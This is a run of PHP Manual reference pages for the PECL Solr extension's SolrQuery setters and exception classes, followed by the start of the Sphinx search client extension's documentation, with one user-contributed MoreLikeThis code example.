public SolrQuery SolrQuery::setHighlightSimplePre ( string $simplePre [, string $field_override ] )

Sets the text which appears before a highlighted term

The default is <em>

Parameters

simplePre

The text which appears before a highlighted term

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightSimplePost
SolrQuery::setHighlightSnippets
SolrQuery


Sets the maximum number of highlighted snippets to generate per field

SolrQuery::setHighlightSimplePre
SolrQuery::setHighlightUsePhraseHighlighter
SolrQuery
PHP Manual

SolrQuery::setHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field

Description

public SolrQuery SolrQuery::setHighlightSnippets ( int $value [, string $field_override ] )

Sets the maximum number of highlighted snippets to generate per field

Parameters

value

The maximum number of highlighted snippets to generate per field

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightSimplePre
SolrQuery::setHighlightUsePhraseHighlighter
SolrQuery


Whether to highlight phrase terms only when they appear within the query phrase

SolrQuery::setHighlightSnippets
SolrQuery::setMlt
SolrQuery
PHP Manual

SolrQuery::setHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase

Description

public SolrQuery SolrQuery::setHighlightUsePhraseHighlighter ( bool $flag )

Sets whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

Parameters

value

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightSnippets
SolrQuery::setMlt
SolrQuery


Enables or disables moreLikeThis

SolrQuery::setHighlightUsePhraseHighlighter
SolrQuery::setMltBoost
SolrQuery
PHP Manual

SolrQuery::setMlt

(PECL solr >= 0.9.2)

SolrQuery::setMlt — Enables or disables moreLikeThis

Description

public SolrQuery SolrQuery::setMlt ( bool $flag )

Enables or disables moreLikeThis

Parameters

flag

TRUE enables it and FALSE turns it off.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

duerra at nospam dot yahoo dot com 18-Nov-2010 04:34
Note that currently, if enabling MLT results in Solr, you also need to set the MinDocFrequency and MinTermFrequency, or you will not get any results back.

<?php
$client = new SolrClient($params);
$query = new SolrQuery();
$query->setMlt(true);
$query->addField('*,score');
$query->setMltMinDocFrequency(1);
$query->setMltMinTermFrequency(1);

//What the MLT documents will be based off of
$query->setQuery('id:doc_10');
$result = $client->query($query);
$result->setParseMode(SolrQueryResponse::PARSE_SOLR_OBJ);
$response = $result->getResponse();

//MLT returns an array of documents based off of the id field value of EACH result returned in the primary search, with an array of MLT documents for each main result document returned

//Presuming the unique field in our schema above is "id" and I know that I will only be getting one document returned in the primary result set, then:
$similarDocs = $response->moreLikeThis->doc_10->docs;

?>

Hope this helps.
SolrQuery::setHighlightUsePhraseHighlighter
SolrQuery::setMltBoost
SolrQuery


Set if the query will be boosted by the interesting term relevance

SolrQuery::setMlt
SolrQuery::setMltCount
SolrQuery
PHP Manual

SolrQuery::setMltBoost

(PECL solr >= 0.9.2)

SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance

Description

public SolrQuery SolrQuery::setMltBoost ( bool $flag )

Set if the query will be boosted by the interesting term relevance

Parameters

value

Sets to TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMlt
SolrQuery::setMltCount
SolrQuery


Set the number of similar documents to return for each result

SolrQuery::setMltBoost
SolrQuery::setMltMaxNumQueryTerms
SolrQuery
PHP Manual

SolrQuery::setMltCount

(PECL solr >= 0.9.2)

SolrQuery::setMltCount — Set the number of similar documents to return for each result

Description

public SolrQuery SolrQuery::setMltCount ( int $count )

Set the number of similar documents to return for each result

Parameters

count

The number of similar documents to return for each result

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltBoost
SolrQuery::setMltMaxNumQueryTerms
SolrQuery


Sets the maximum number of query terms included

SolrQuery::setMltCount
SolrQuery::setMltMaxNumTokens
SolrQuery
PHP Manual

SolrQuery::setMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included

Description

public SolrQuery SolrQuery::setMltMaxNumQueryTerms ( int $value )

Sets the maximum number of query terms that will be included in any generated query.

Parameters

value

The maximum number of query terms that will be included in any generated query

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltCount
SolrQuery::setMltMaxNumTokens
SolrQuery


Specifies the maximum number of tokens to parse

SolrQuery::setMltMaxNumQueryTerms
SolrQuery::setMltMaxWordLength
SolrQuery
PHP Manual

SolrQuery::setMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse

Description

public SolrQuery SolrQuery::setMltMaxNumTokens ( int $value )

Specifies the maximum number of tokens to parse in each example doc field that is not stored with TermVector support.

Parameters

value

The maximum number of tokens to parse

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMaxNumQueryTerms
SolrQuery::setMltMaxWordLength
SolrQuery


Sets the maximum word length

SolrQuery::setMltMaxNumTokens
SolrQuery::setMltMinDocFrequency
SolrQuery
PHP Manual

SolrQuery::setMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxWordLength — Sets the maximum word length

Description

public SolrQuery SolrQuery::setMltMaxWordLength ( int $maxWordLength )

Sets the maximum word length above which words will be ignored.

Parameters

maxWordLength

The maximum word length above which words will be ignored

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMaxNumTokens
SolrQuery::setMltMinDocFrequency
SolrQuery


Sets the mltMinDoc frequency

SolrQuery::setMltMaxWordLength
SolrQuery::setMltMinTermFrequency
SolrQuery
PHP Manual

SolrQuery::setMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency

Description

public SolrQuery SolrQuery::setMltMinDocFrequency ( int $minDocFrequency )

The frequency at which words will be ignored which do not occur in at least this many docs.

Parameters

minDocFrequency

Sets the frequency at which words will be ignored which do not occur in at least this many docs.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMaxWordLength
SolrQuery::setMltMinTermFrequency
SolrQuery


Sets the frequency below which terms will be ignored in the source docs

SolrQuery::setMltMinDocFrequency
SolrQuery::setMltMinWordLength
SolrQuery
PHP Manual

SolrQuery::setMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs

Description

public SolrQuery SolrQuery::setMltMinTermFrequency ( int $minTermFrequency )

Sets the frequency below which terms will be ignored in the source docs

Parameters

minTermFrequency

The frequency below which terms will be ignored in the source docs

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMinDocFrequency
SolrQuery::setMltMinWordLength
SolrQuery


Sets the minimum word length

SolrQuery::setMltMinTermFrequency
SolrQuery::setOmitHeader
SolrQuery
PHP Manual

SolrQuery::setMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMinWordLength — Sets the minimum word length

Description

public SolrQuery SolrQuery::setMltMinWordLength ( int $minWordLength )

Sets the minimum word length below which words will be ignored.

Parameters

minWordLength

The minimum word length below which words will be ignored

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMinTermFrequency
SolrQuery::setOmitHeader
SolrQuery


Exclude the header from the returned results

SolrQuery::setMltMinWordLength
SolrQuery::setQuery
SolrQuery
PHP Manual

SolrQuery::setOmitHeader

(PECL solr >= 0.9.2)

SolrQuery::setOmitHeader — Exclude the header from the returned results

Description

public SolrQuery SolrQuery::setOmitHeader ( bool $flag )

Exclude the header from the returned results.

Parameters

flag

TRUE excludes the header from the result.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setMltMinWordLength
SolrQuery::setQuery
SolrQuery


Sets the search query

SolrQuery::setOmitHeader
SolrQuery::setRows
SolrQuery
PHP Manual

SolrQuery::setQuery

(PECL solr >= 0.9.2)

SolrQuery::setQuery — Sets the search query

Description

public SolrQuery SolrQuery::setQuery ( string $query )

Sets the search query.

Parameters

query

The search query

Return Values

Returns the current SolrQuery object

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setOmitHeader
SolrQuery::setRows
SolrQuery


Specifies the maximum number of rows to return in the result

SolrQuery::setQuery
SolrQuery::setShowDebugInfo
SolrQuery
PHP Manual

SolrQuery::setRows

(PECL solr >= 0.9.2)

SolrQuery::setRows — Specifies the maximum number of rows to return in the result

Description

public SolrQuery SolrQuery::setRows ( int $rows )

Specifies the maximum number of rows to return in the result

Parameters

rows

The maximum number of rows to return

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setQuery
SolrQuery::setShowDebugInfo
SolrQuery


Flag to show debug information

SolrQuery::setRows
SolrQuery::setStart
SolrQuery
PHP Manual

SolrQuery::setShowDebugInfo

(PECL solr >= 0.9.2)

SolrQuery::setShowDebugInfo — Flag to show debug information

Description

public SolrQuery SolrQuery::setShowDebugInfo ( bool $flag )

Whether to show debug info

Parameters

flag

Whether to show debug info. TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setRows
SolrQuery::setStart
SolrQuery


Specifies the number of rows to skip

SolrQuery::setShowDebugInfo
SolrQuery::setStats
SolrQuery
PHP Manual

SolrQuery::setStart

(PECL solr >= 0.9.2)

SolrQuery::setStart — Specifies the number of rows to skip

Description

public SolrQuery SolrQuery::setStart ( int $start )

Specifies the number of rows to skip. Useful in pagination of results.

Parameters

start

The number of rows to skip.

Return Values

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setShowDebugInfo
SolrQuery::setStats
SolrQuery


Enables or disables the Stats component

SolrQuery::setStart
SolrQuery::setTerms
SolrQuery
PHP Manual

SolrQuery::setStats

(PECL solr >= 0.9.2)

SolrQuery::setStats — Enables or disables the Stats component

Description

public SolrQuery SolrQuery::setStats ( bool $flag )

Enables or disables the Stats component.

Parameters

flag

TRUE turns on the stats component and FALSE disables it.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setStart
SolrQuery::setTerms
SolrQuery


Enables or disables the TermsComponent

SolrQuery::setStats
SolrQuery::setTermsField
SolrQuery
PHP Manual

SolrQuery::setTerms

(PECL solr >= 0.9.2)

SolrQuery::setTerms — Enables or disables the TermsComponent

Description

public SolrQuery SolrQuery::setTerms ( bool $flag )

Enables or disables the TermsComponent

Parameters

flag

TRUE enables it. FALSE turns it off

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setStats
SolrQuery::setTermsField
SolrQuery


Sets the name of the field to get the Terms from

SolrQuery::setTerms
SolrQuery::setTermsIncludeLowerBound
SolrQuery
PHP Manual

SolrQuery::setTermsField

(PECL solr >= 0.9.2)

SolrQuery::setTermsField — Sets the name of the field to get the Terms from

Description

public SolrQuery SolrQuery::setTermsField ( string $fieldname )

Sets the name of the field to get the terms from

Parameters

fieldname

The field name

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTerms
SolrQuery::setTermsIncludeLowerBound
SolrQuery


Include the lower bound term in the result set

SolrQuery::setTermsField
SolrQuery::setTermsIncludeUpperBound
SolrQuery
PHP Manual

SolrQuery::setTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set

Description

public SolrQuery SolrQuery::setTermsIncludeLowerBound ( bool $flag )

Include the lower bound term in the result set.

Parameters

flag

Include the lower bound term in the result set

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsField
SolrQuery::setTermsIncludeUpperBound
SolrQuery


Include the upper bound term in the result set

SolrQuery::setTermsIncludeLowerBound
SolrQuery::setTermsLimit
SolrQuery
PHP Manual

SolrQuery::setTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set

Description

public SolrQuery SolrQuery::setTermsIncludeUpperBound ( bool $flag )

Include the upper bound term in the result set.

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsIncludeLowerBound
SolrQuery::setTermsLimit
SolrQuery


Sets the maximum number of terms to return

SolrQuery::setTermsIncludeUpperBound
SolrQuery::setTermsLowerBound
SolrQuery
PHP Manual

SolrQuery::setTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::setTermsLimit — Sets the maximum number of terms to return

Description

public SolrQuery SolrQuery::setTermsLimit ( int $limit )

Sets the maximum number of terms to return

Parameters

limit

The maximum number of terms to return. All the terms will be returned if the limit is negative.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsIncludeUpperBound
SolrQuery::setTermsLowerBound
SolrQuery


Specifies the Term to start from

SolrQuery::setTermsLimit
SolrQuery::setTermsMaxCount
SolrQuery
PHP Manual

SolrQuery::setTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsLowerBound — Specifies the Term to start from

Description

public SolrQuery SolrQuery::setTermsLowerBound ( string $lowerBound )

Specifies the Term to start from

Parameters

lowerBound

The lower bound Term

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsLimit
SolrQuery::setTermsMaxCount
SolrQuery


Sets the maximum document frequency

SolrQuery::setTermsLowerBound
SolrQuery::setTermsMinCount
SolrQuery
PHP Manual

SolrQuery::setTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMaxCount — Sets the maximum document frequency

Description

public SolrQuery SolrQuery::setTermsMaxCount ( int $frequency )

Sets the maximum document frequency.

Parameters

frequency

The maximum document frequency.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsLowerBound
SolrQuery::setTermsMinCount
SolrQuery


Sets the minimum document frequency

SolrQuery::setTermsMaxCount
SolrQuery::setTermsPrefix
SolrQuery
PHP Manual

SolrQuery::setTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMinCount — Sets the minimum document frequency

Description

public SolrQuery SolrQuery::setTermsMinCount ( int $frequency )

Sets the minimum doc frequency to return in order to be included

Parameters

frequency

The minimum frequency

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsMaxCount
SolrQuery::setTermsPrefix
SolrQuery


Restrict matches to terms that start with the prefix

SolrQuery::setTermsMinCount
SolrQuery::setTermsReturnRaw
SolrQuery
PHP Manual

SolrQuery::setTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix

Description

public SolrQuery SolrQuery::setTermsPrefix ( string $prefix )

Restrict matches to terms that start with the prefix

Parameters

prefix

Restrict matches to terms that start with the prefix

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsMinCount
SolrQuery::setTermsReturnRaw
SolrQuery


Return the raw characters of the indexed term

SolrQuery::setTermsPrefix
SolrQuery::setTermsSort
SolrQuery
PHP Manual

SolrQuery::setTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term

Description

public SolrQuery SolrQuery::setTermsReturnRaw ( bool $flag )

If true, return the raw characters of the indexed term, regardless of if it is human readable

Parameters

value

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsPrefix
SolrQuery::setTermsSort
SolrQuery


Specifies how to sort the returned terms

SolrQuery::setTermsReturnRaw
SolrQuery::setTermsUpperBound
SolrQuery
PHP Manual

SolrQuery::setTermsSort

(PECL solr >= 0.9.2)

SolrQuery::setTermsSort — Specifies how to sort the returned terms

Description

public SolrQuery SolrQuery::setTermsSort ( int $sortType )

If SolrQuery::TERMS_SORT_COUNT, sorts the terms by the term frequency (highest count first). If SolrQuery::TERMS_SORT_INDEX, returns the terms in index order

Parameters

sortType

SolrQuery::TERMS_SORT_INDEX or SolrQuery::TERMS_SORT_COUNT

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsReturnRaw
SolrQuery::setTermsUpperBound
SolrQuery


Sets the term to stop at

SolrQuery::setTermsSort
SolrQuery::setTimeAllowed
SolrQuery
PHP Manual

SolrQuery::setTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsUpperBound — Sets the term to stop at

Description

public SolrQuery SolrQuery::setTermsUpperBound ( string $upperBound )

Sets the term to stop at

Parameters

upperBound

The term to stop at

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsSort
SolrQuery::setTimeAllowed
SolrQuery


The time allowed for search to finish

SolrQuery::setTermsUpperBound
SolrException
SolrQuery
PHP Manual

SolrQuery::setTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::setTimeAllowed — The time allowed for search to finish

Description

public SolrQuery SolrQuery::setTimeAllowed ( int $timeAllowed )

The time allowed for a search to finish. This value only applies to the search and not to requests in general. Time is in milliseconds. Values less than or equal to zero implies no time restriction. Partial results may be returned, if there are any.

Parameters

timeAllowed

The time allowed for a search to finish.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTermsUpperBound
SolrException
SolrQuery


The SolrException class

(No version information available, might only be in SVN)

Introduction

This is the base class for all exception thrown by the Solr extension classes.

Class synopsis

SolrException extends Exception {
/* Properties */
protected integer $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

message

The error message

code

The error code

file

The userspace php source file where exception was generated

line

The line in userspace php source file where exception was generated

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setTimeAllowed
SolrException::getInternalInfo
Solr


Returns internal information where the Exception was thrown

SolrException
SolrClientException
SolrException
PHP Manual

SolrException::getInternalInfo

(PECL solr >= 0.9.2)

SolrException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.
SolrException
SolrClientException
SolrException


The SolrClientException class

(No version information available, might only be in SVN)

Introduction

An exception thrown when there is an error while making a request to the server from the client.

Class synopsis

SolrClientException extends SolrException {
/* Properties */
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
public array SolrException::getInternalInfo ( void )
}

Properties

message

The error message

code

The error code

file

The userspace php source file where exception was generated

line

The line in userspace php source file where exception was generated

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.
SolrException::getInternalInfo
SolrClientException::getInternalInfo
Solr


Returns internal information where the Exception was thrown

SolrClientException
SolrIllegalArgumentException
SolrClientException
PHP Manual

SolrClientException::getInternalInfo

(PECL solr >= 0.9.2)

SolrClientException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrClientException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.
SolrClientException
SolrIllegalArgumentException
SolrClientException


The SolrIllegalArgumentException class

(No version information available, might only be in SVN)

Introduction

This object is thrown when an illeglal or invalid argument is passed to a method.

Class synopsis

SolrIllegalArgumentException extends SolrException {
/* Properties */
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
public array SolrException::getInternalInfo ( void )
}

Properties

message

The error message

code

The error code

file

The userspace php source file where exception was generated

line

The line in userspace php source file where exception was generated

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.
SolrClientException::getInternalInfo
SolrIllegalArgumentException::getInternalInfo
Solr


Returns internal information where the Exception was thrown

SolrIllegalArgumentException
SolrIllegalOperationException
SolrIllegalArgumentException
PHP Manual

SolrIllegalArgumentException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalArgumentException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrIllegalArgumentException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.
SolrIllegalArgumentException
SolrIllegalOperationException
SolrIllegalArgumentException


The SolrIllegalOperationException class

(No version information available, might only be in SVN)

Introduction

This object is thrown when an illegal or unsupported operation is performed on an object.

Class synopsis

SolrIllegalOperationException extends SolrException {
/* Properties */
/* Methods */
public array getInternalInfo ( void )
/* Inherited methods */
public array SolrException::getInternalInfo ( void )
}

Properties

message

The error message

code

The error code

file

The userspace php source file where exception was generated

line

The line in userspace php source file where exception was generated

sourceline

The line in c-space source file where exception was generated

sourcefile

The c-space source file where exception was generated

zif_name

The c-space function where exception was generated

Table of Contents

  • SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

User Contributed Notes

There are no user contributed notes for this page.
SolrIllegalArgumentException::getInternalInfo
SolrIllegalOperationException::getInternalInfo
Solr


Returns internal information where the Exception was thrown

SolrIllegalOperationException
Sphinx
SolrIllegalOperationException
PHP Manual

SolrIllegalOperationException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalOperationException::getInternalInfo — Returns internal information where the Exception was thrown

Description

public array SolrIllegalOperationException::getInternalInfo ( void )

Returns internal information where the Exception was thrown.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns an array containing internal information where the error was thrown. Used only for debugging by extension developers.

User Contributed Notes

There are no user contributed notes for this page.
SolrIllegalOperationException
Sphinx
SolrIllegalOperationException


Sphinx Client

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • SphinxClient — The SphinxClient class
    • SphinxClient::addQuery — Add query to multi-query batch
    • SphinxClient::buildExcerpts — Build text snippets
    • SphinxClient::buildKeywords — Extract keywords from query
    • SphinxClient::close — Closes previously opened persistent connection
    • SphinxClient::__construct — Create a new SphinxClient object
    • SphinxClient::escapeString — Escape special characters
    • SphinxClient::getLastError — Get the last error message
    • SphinxClient::getLastWarning — Get the last warning
    • SphinxClient::open — Opens persistent connection to the server
    • SphinxClient::query — Execute search query
    • SphinxClient::resetFilters — Clear all filters
    • SphinxClient::resetGroupBy — Clear all group-by settings
    • SphinxClient::runQueries — Run a batch of search queries
    • SphinxClient::setArrayResult — Change the format of result set array
    • SphinxClient::setConnectTimeout — Set connection timeout
    • SphinxClient::setFieldWeights — Set field weights
    • SphinxClient::setFilter — Add new integer values set filter
    • SphinxClient::setFilterFloatRange — Add new float range filter
    • SphinxClient::setFilterRange — Add new integer range filter
    • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
    • SphinxClient::setGroupBy — Set grouping attribute
    • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
    • SphinxClient::setIDRange — Set a range of accepted document IDs
    • SphinxClient::setIndexWeights — Set per-index weights
    • SphinxClient::setLimits — Set offset and limit of the result set
    • SphinxClient::setMatchMode — Set full-text query matching mode
    • SphinxClient::setMaxQueryTime — Set maximum query time
    • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
    • SphinxClient::setRankingMode — Set ranking mode
    • SphinxClient::setRetries — Set retry count and delay
    • SphinxClient::setSelect — Set select clause
    • SphinxClient::setServer — Set searchd host and port
    • SphinxClient::setSortMode — Set matches sorting mode
    • SphinxClient::status — Queries searchd status
    • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.
SolrIllegalOperationException::getInternalInfo
Introduction
Search Engine Extensions


Introduction

This extension provides bindings for Sphinx search client library. Sphinx is a standalone search engine meant to provide fast, size-efficient and relevant fulltext search functions to other applications. Sphinx was specially designed to integrate well with SQL databases and scripting languages. Both Sphinx and its client library can be obtained from the » official site

User Contributed Notes

There are no user contributed notes for this page.
Sphinx
Installing/Configuring
Sphinx


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Sphinx


Requirements

PECL/sphinx requires PHP 5.2.2 or newer.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/sphinx.

If the ./configure script generated by phpize is having trouble finding the libsphinxclient files (for example, it was installed into a custom prefix directory), use ./configure --with-sphinx=$PREFIX, where $PREFIX is installation prefix of libsphinxclient.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SEARCHD_OK (integer)
SEARCHD_ERROR (integer)
SEARCHD_RETRY (integer)
SEARCHD_WARNING (integer)
SPH_MATCH_ALL (integer)
SPH_MATCH_ANY (integer)
SPH_MATCH_PHRASE (integer)
SPH_MATCH_BOOLEAN (integer)
SPH_MATCH_EXTENDED (integer)
SPH_MATCH_FULLSCAN (integer)
SPH_MATCH_EXTENDED2 (integer)
SPH_RANK_PROXIMITY_BM25 (integer)
SPH_RANK_BM25 (integer)
SPH_RANK_NONE (integer)
SPH_RANK_WORDCOUNT (integer)
SPH_SORT_RELEVANCE (integer)
SPH_SORT_ATTR_DESC (integer)
SPH_SORT_ATTR_ASC (integer)
SPH_SORT_TIME_SEGMENTS (integer)
SPH_SORT_EXTENDED (integer)
SPH_SORT_EXPR (integer)
SPH_FILTER_VALUES (integer)
SPH_FILTER_RANGE (integer)
SPH_FILTER_FLOATRANGE (integer)
SPH_ATTR_INTEGER (integer)
SPH_ATTR_TIMESTAMP (integer)
SPH_ATTR_ORDINAL (integer)
SPH_ATTR_BOOL (integer)
SPH_ATTR_FLOAT (integer)
SPH_ATTR_MULTI (integer)
SPH_GROUPBY_DAY (integer)
SPH_GROUPBY_WEEK (integer)
SPH_GROUPBY_MONTH (integer)
SPH_GROUPBY_YEAR (integer)
SPH_GROUPBY_ATTR (integer)
SPH_GROUPBY_ATTRPAIR (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Sphinx


Examples

Example #1 Basic usage example

<?php

$s = new SphinxClient;
$s->setServer("localhost", 6712);
$s->setMatchMode(SPH_MATCH_ANY);
$s->setMaxQueryTime(3);

$result = $s->query("test");

var_dump($result);

?>

The above example will output something similar to:

array(10) {
  ["error"]=>
  string(0) ""
  ["warning"]=>
  string(0) ""
  ["status"]=>
  int(0)
  ["fields"]=>
  array(3) {
    [0]=>
    string(7) "subject"
    [1]=>
    string(4) "body"
    [2]=>
    string(6) "author"
  }
  ["attrs"]=>
  array(0) {
  }
  ["matches"]=>
  array(1) {
    [3]=>
    array(2) {
      ["weight"]=>
      int(1)
      ["attrs"]=>
      array(0) {
      }
    }
  }
  ["total"]=>
  int(1)
  ["total_found"]=>
  int(1)
  ["time"]=>
  float(0)
  ["words"]=>
  array(1) {
    ["to"]=>
    array(2) {
      ["docs"]=>
      int(1)
      ["hits"]=>
      int(1)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
SphinxClient
Sphinx


The SphinxClient class

(No version information available, might only be in SVN)

Introduction

The SphinxClient class provides object-oriented interface to Sphinx.

Class synopsis

SphinxClient {
/* Methods */
public int addQuery ( string $query [, string $index = "*" [, string $comment = "" ]] )
public array buildExcerpts ( array $docs , string $index , string $words [, array $opts ] )
public array buildKeywords ( string $query , string $index , bool $hits )
public bool close ( void )
public __construct ( void )
